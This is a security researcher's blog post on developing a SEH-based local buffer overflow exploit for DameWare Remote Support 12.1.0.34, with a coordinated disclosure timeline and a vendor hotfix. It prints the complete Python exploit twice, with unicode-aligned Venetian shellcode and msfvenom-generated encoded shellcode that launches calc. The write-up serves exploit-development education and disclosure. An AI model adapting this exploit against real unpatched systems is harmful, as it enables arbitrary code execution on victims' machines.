SEH based local Buffer Overflow – DameWare Remote Support

Hello everyone!

At this blog post I’m going to speak about a vulnerability that I detected at July of 2019 in DameWare Remote Support V. 12.1.0.34.

DameWare is a well known remote administration tool that allows user to connect to other computers. I already wrote some exploit for it, like this one:

But for this blog entry, I’m going to be focused in Remote Support application instead of Remote Control, that is another different tool of DameWare.

This summer, I was preparing my OSCE certification that I finished in August. To be well prepared, I was playing with some applications trying to find bugs to practice my new skills, this tool was one of them.

Below is a video demonstration of exploitation for proof of concept of this vulnerability:

SolarWinds have been contacted about this issue who have acknowledged it, after 3 months they didn’t provide a fix for this vulnerability.

Update: A few weeks after SolarWinds contacted me that they fixed the vulnerability in the following version: Dameware 12.1 HotFix 3

Exploit Development

The reason why I started this blog is to share a bit of knowledge with the hacking community, so it makes no sense for me to publish this here without explaining all the process, so here is a full write-up of the exploit development process.

The application does not sanitize correctly the input of the parameter “Computer Name“.

If we put 5000 A’s in the field computer name we are going to see the following. The SEH handler value is overwritten:

In the image above you can see that we overwritten the SEH with 00410041, but we should expect to have 41414141 there (4 letters A). Our payload is getting converted from ASCII to Unicode.

If we let the pass the execution to the program two times with SHIFT+F9 we are going to be at this point:

Our Unicode encoded buffer is going to be located in the third position of the stack. We need to find a POP-POP-RET instruction, but it has to be suitable to Unicode encoding.

To search for it we can use Corelan plugin for Immunity debugger named Mona. We can use the following command:

!mona seh -cp unicode

And Mona identifies the following memory addresses:

Now we need to know where is the SEH overwritte located. We can use the Metasploit tool msf-pattern-create:

msf-pattern_create -l 5000

We use that string to crash the application, this time the SEH value has changed. We right click in it, and select Follow address in stack:

And in the stack we are going to have this:

Now it’s the moment to use Metasploit pattern offset to locate the the position. We can use this command:

msf-pattern_offset -q "37694136" -l 5000
[*] Exact match at offset 260

Let’s start developing the exploit. The main structure is going to be the following:

AAAA... + NSEH + SEH + AAAA...

The python code is going to be like this:

...
junk1 = "A" * 260
# Padding compatible for Unicode transformation exploit
nseh  = "\x61\x43"

# 0x007a0021 : pop esi # pop edi # ret
# startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READ} [DNTU.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v12.1.0.34 (C:\Program Files\SolarWinds\DameWare Remote Support\DNTU.exe)
seh   = "\x21\x7a"

junk2 = "\x41" * 1348
...

I put a breakpoint in the memory address 00770021, I put the payload in the field, and I verify that we reach the POP-POP-RET instruction and also that our unicode compatible padding works fine:

In this type of exploits, we can’t setup there the final shellcode, because it’s going to be modified because of the unicode conversion. We need to place it in a register, push it to the stack and execute a return instruction.

To do that, we have to face the problem, that all the instructions that we use, are going to be modified. There is a shellcoding technique named Venetian shellcode that is going to help here.

After some try and error I finished this small piece of code, that what is going to to do, is to save the top of the stack in EAX register. Add 50 to it, put it in the top of the stack and execute a RETN:

# Put shellcode memory address in EAX, push it to the stack and RETN
# 20 bytes
align  = ""
align += "\x43" * 10                # Padding
align += "\x58"                     # POP EAX
align += "\x73"                     # Venetian padding
# 0012F590   83C0 50          ADD EAX,50
align += u"\uC083" + "\x50"         # ADD EAX, 50
align += "\x73"                     # Venetian padding
align += "\x50"                     # PUSH EAX
align += "\x73"                     # Venetian padding
align +=  u'\uC3C3'                 # RETN

Notice in the code above, that I had to use some unicode symbols, I needed to use them to be able to execute the needed instructions.

After some maths, I located the exact point where I have to place the shellcode, is going to be placed 18 bytes after the EAX preparation part of the code.

At this point I prepare the final shellcode, It’s going to be alphanumerical encoded, if not is not going to work. To generate it I used the following commands:

msfvenom -p windows/exec CMD=calc -f raw > shellcode.raw
./alpha2 eax --unicode --uppercase < shellcode.raw

And this is the generated shellcode

# msfvenom -p windows/exec CMD=calc -f raw > shellcode.raw
# ./alpha2 eax --unicode --uppercase < shellcode.raw
# 508 bytes
shellcode = "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLYX4BM0M0KPQP4IZEP17PQTDKPPNPTK1BLLDK1BLTTKT2MXLOVWPJMV01KO6LOLS13LM2NLMPWQHOLMM1WWK2KBPR27TKPRLP4K0JOLTK0LN1D8K3OXKQJ1R1TKPYMPM1HS4KPILXYSOJQ9DKOD4KM1XVNQKO6LGQ8OLMM1WWP89PRUZVLCSMKHOKSMMT2UJD1HDKQHNDKQJ31VTKLL0K4K1HMLM1J3DKKTTKM1HP3YQ4O4ND1K1KQQR9PZ0QKOYPQOQOQJDKLRZKTM1MRJM1DMCUH2KPKPKPPPQXP1TKBOU7KOHUWKL07EFB0V38W6V5WMUMKOJ5OLM63LLJ3PKKIP2UKUWK17MCBRROQZM0B3KOZ51S1Q2LQSKPA"

At this point, everything was looking perfect for me, but it won’t work. The execution flow is going to break here:

If we see the registers, we can see that value in EBX:

After some hours of debugging, I identify that is my own buffer who is overwriting EBX. Also I realized that the value 0000FFFF doesn’t break the execution flow and the calc pops correctly. Furthermore, I still have the Unicode problem, so I can’t overwrite with any value, I tried to overwrite it with values of the own application that doesn’t have ASLR protection activated but they seem not suitable for Unicode.

Another important thing, is that EBX is overwritten with the address number two after it.

I did the next process to fix this problem. First of all I had to run the application in Windows XP compatibility mode to disable ASLR.

Secondly I selected the EDX register that contains a memory address that I can replicate although the Unicode problem, I right click in it and I followed in dump:

Once I did that, I searched for the binary string:

FF FF 00 00

And I found this:

The memory address 7FFDD078 contains the desired value, so if we look one address up, we can see the address: 7FFDD068.

Let’s use it in the exploit:

# 7FFDD066 + 2 memory address contains the value FFFF0000
# This value is going to be placed in EBX 
# And it doesn't break the execution flow
junk3 = "\x44" * 550 + u"\uD066" + u"\u7FFD" # u"\xF0FF"

We put all together. And this is the final exploit:

#!/usr/bin/env python
# Author: Xavi Beltran
# Date: 14/7/2019
# Site: xavibel.com

# Description:
#           SEH based Buffer Overflow
#			DameWare Remote Support V. 12.1.0.34
#           Tools >> Computer Comments >> Description

# msf-pattern_offset -q "37694136" -l 5000
# [*] Exact match at offset 260
junk1 = "\x41" * 260

# Unicode compatible padding
nseh  = "\x61\x43"

# 0x007a0021 : pop esi # pop edi # ret
# startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READ} [DNTU.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v12.1.0.34 (C:\Program Files\SolarWinds\DameWare Remote Support\DNTU.exe)
seh   = "\x21\x7a"

# Put shellcode memory address in EAX, push it to the stack and RETN
# 20 bytes
align  = ""
align += "\x43" * 10                # Padding
align += "\x58"                     # POP EAX
align += "\x73"                     # Venetian padding
# 0012F590   83C0 50          ADD EAX,50
align += u"\uC083" + "\x50"         # ADD EAX, 50
align += "\x73"                     # Venetian padding
align += "\x50"                     # PUSH EAX
align += "\x73"                     # Venetian padding
align +=  u'\uC3C3'                 # RETN

# 1348
junk2 = "\x43" * 18

# 7FFDD066 + 2 memory address contains the value FFFF0000
# This value is going to be placed in EBX 
# And it doesn't break the execution flow
junk3 = "\x44" * 550 + u"\uD066" + u"\u7FFD" # u"\xF0FF"

# msfvenom -p windows/exec CMD=calc -f raw > shellcode.raw
# ./alpha2 eax --unicode --uppercase < shellcode.raw
# 508 bytes
shellcode = "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLYX4BM0M0KPQP4IZEP17PQTDKPPNPTK1BLLDK1BLTTKT2MXLOVWPJMV01KO6LOLS13LM2NLMPWQHOLMM1WWK2KBPR27TKPRLP4K0JOLTK0LN1D8K3OXKQJ1R1TKPYMPM1HS4KPILXYSOJQ9DKOD4KM1XVNQKO6LGQ8OLMM1WWP89PRUZVLCSMKHOKSMMT2UJD1HDKQHNDKQJ31VTKLL0K4K1HMLM1J3DKKTTKM1HP3YQ4O4ND1K1KQQR9PZ0QKOYPQOQOQJDKLRZKTM1MRJM1DMCUH2KPKPKPPPQXP1TKBOU7KOHUWKL07EFB0V38W6V5WMUMKOJ5OLM63LLJ3PKKIP2UKUWK17MCBRROQZM0B3KOZ51S1Q2LQSKPA"

crash = junk1 + nseh + seh + align + junk2 + shellcode + junk3

print(crash)

If we execute the exploit, it will generate the following string with some cool japanese unicode characters 🙂

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaC!zCCCCCCCCCCXs삃PsPs쏃CCCCCCCCCCCCCCCCCCPPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLYX4BM0M0KPQP4IZEP17PQTDKPPNPTK1BLLDK1BLTTKT2MXLOVWPJMV01KO6LOLS13LM2NLMPWQHOLMM1WWK2KBPR27TKPRLP4K0JOLTK0LN1D8K3OXKQJ1R1TKPYMPM1HS4KPILXYSOJQ9DKOD4KM1XVNQKO6LGQ8OLMM1WWP89PRUZVLCSMKHOKSMMT2UJD1HDKQHNDKQJ31VTKLL0K4K1HMLM1J3DKKTTKM1HP3YQ4O4ND1K1KQQR9PZ0QKOYPQOQOQJDKLRZKTM1MRJM1DMCUH2KPKPKPPPQXP1TKBOU7KOHUWKL07EFB0V38W6V5WMUMKOJ5OLM63LLJ3PKKIP2UKUWK17MCBRROQZM0B3KOZ51S1Q2LQSKPADDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD큦翽

We launch it, and here is our calc! 🙂

It has been a really funny and also painful exploit, specially because of that EBX overwrite problem, but I learnt a lot.

I also share with you the final exploit:

#!/usr/bin/env python
# Author: Xavi Beltran
# Date: 14/7/2019
# Site: xavibel.com
# Description:
#       SEH based Buffer Overflow in the parameter:
#           Tools >> Computer Comments >> Description

# msf-pattern_offset -q "37694136" -l 5000
# [*] Exact match at offset 260
junk1 = "\x41" * 260

# Unicode compatible padding
nseh  = "\x61\x43"

# 0x007a0021 : pop esi # pop edi # ret
# startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READ} [DNTU.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v12.1.0.34 (C:\Program Files\SolarWinds\DameWare Remote Support\DNTU.exe)
seh   = "\x21\x7a"

# Put shellcode memory address in EAX, push it to the stack and RETN
# 20 bytes
align  = ""
align += "\x43" * 10                # Padding
align += "\x58"                     # POP EAX
align += "\x73"                     # Venetian padding
# 0012F590   83C0 50          ADD EAX,50
align += u"\uC083" + "\x50"         # ADD EAX, 50
align += "\x73"                     # Venetian padding
align += "\x50"                     # PUSH EAX
align += "\x73"                     # Venetian padding
align +=  u'\uC3C3'                 # RETN

# 1348
junk2 = "\x43" * 18

# 7FFDD066 + 2 memory address contains the value FFFF0000
# This value is going to be placed in EBX 
# And it doesn't break the execution flow
junk3 = "\x44" * 550 + u"\uD066" + u"\u7FFD" # u"\xF0FF"

# msfvenom -p windows/exec CMD=calc -f raw > shellcode.raw
# ./alpha2 eax --unicode --uppercase < shellcode.raw
# 508 bytes
shellcode = "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLYX4BM0M0KPQP4IZEP17PQTDKPPNPTK1BLLDK1BLTTKT2MXLOVWPJMV01KO6LOLS13LM2NLMPWQHOLMM1WWK2KBPR27TKPRLP4K0JOLTK0LN1D8K3OXKQJ1R1TKPYMPM1HS4KPILXYSOJQ9DKOD4KM1XVNQKO6LGQ8OLMM1WWP89PRUZVLCSMKHOKSMMT2UJD1HDKQHNDKQJ31VTKLL0K4K1HMLM1J3DKKTTKM1HP3YQ4O4ND1K1KQQR9PZ0QKOYPQOQOQJDKLRZKTM1MRJM1DMCUH2KPKPKPPPQXP1TKBOU7KOHUWKL07EFB0V38W6V5WMUMKOJ5OLM63LLJ3PKKIP2UKUWK17MCBRROQZM0B3KOZ51S1Q2LQSKPA"

crash = junk1 + nseh + seh + align + junk2 + shellcode + junk3

print(crash)

https://www.exploit-db.com/exploits/47444

Disclosure Process

  • 15/07/2019 – Reported vulnerability to Solarwinds without answer
  • 31/07/2019 – Wrote a new email to SolarWinds asking for an answer
  • 01/08/2019 – SolarWinds acknowledged the vulnerability and reported that remediation work was underway
  • 26/08/2019 – Contacted Solarwinds again to see if there had been any updates
  • 01/10/2019 – Public Disclosure
  • 21/10/2019 – SolarWinds published Dameware 12.1 HotFix 3 that fixes the vulnerability
This entry was posted in Exploiting and tagged , , , , , , , , , , . Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *